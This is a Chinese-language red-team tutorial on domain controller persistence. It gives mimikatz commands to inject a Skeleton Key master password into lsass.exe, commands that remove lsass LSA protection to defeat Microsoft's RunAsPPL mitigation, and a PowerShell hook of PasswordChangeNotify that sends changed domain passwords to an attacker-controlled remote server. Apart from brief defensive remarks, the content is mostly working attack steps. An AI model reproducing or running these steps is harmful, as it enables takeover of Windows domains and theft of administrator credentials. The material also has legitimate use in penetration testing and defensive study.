一、skeleton key(万能密码)

支持Windows Server2003—Windows Server2012 R2
原理就是使用 mimikatz 完成注入 Skeleon Key 的操作,将 Skeleton Key 注入域控制器的 lsass.exe 进程。这样域内的所有用户都能使用同一个密码进行登录。

防御方式:重启域控

  1. privilege::debug
  2. misc::skeleton

在域控上上传mimikatz
image.png

  1. net use \\WIN-HJ1H44JL2BW.ice.com mimikatz /user:administrator@ice.com

可以看到此时我们在域用户主机BBB上可以列出域控的目录了,此时生成了一个默认万能密码mimikatz
image.png
Skeleton Key只是给所有账户添加了一个万能密码

微软在2014年3月12日添加了LSA保护策略,用来防止对进程lsass.exe的代码注入,这样一来就无法使用mimikatz对lsass.exe进行注入,相关操作也会失败。
具体注册表如下
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
新建-DWORD值,名称为RunAsPPL,数值为00000001

mimikatz bypass

  1. #!bash
  2. privilege::debug
  3. !+
  4. !processprotect /process:lsass.exe /remove
  5. misc::skeleton

**

二、Hook PasswordChangeNotify

原理
1、就是在Windows系统重置更改域控密码的时候,LSA(lsass.exe)会调用PasswordFileter来检测密码是否符合标准,如果符合,那么再调用PasswordChangeNotify来进行更改密码
2、PasswordChangeNotify这个方法又位于rassfm.dll下
image.png
3、rassfm.dll只存在于win server的系统版本中
image.png
4、那么思路就很明确了,生成一个恶意的DLL文件注入lsass.exe中,实现HOOK功能,进行密码的读取
5、Hook PasswordChangeNotify 比起SSP读密码来得更简单方便,主要比较如下:

  1. SSP
  2. 安装后需要重启系统
  3. 需要在System32文件夹下放置dll
  4. 需要修改注册表
  5. Hook PasswordChangeNotify
  6. 不需要重启
  7. 不需要修改注册表
  8. 甚至不需要在系统放置dll

实验演示:
https://github.com/kevien/PasswordchangeNotify
image.png

  1. PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1
  2. C:\Windows\System32 新建配置文件 system.ini
  3. 第一行是你要连接的ip地址
  4. 是你所连接的远程ip地址的端口
  5. 当域控管理员修改账号之后会在远程服务器的web日志中出现修改后的账号和密码

powershell执行命令
创建system.ini配置文件
监听IP和端口
修改域控密码
image.png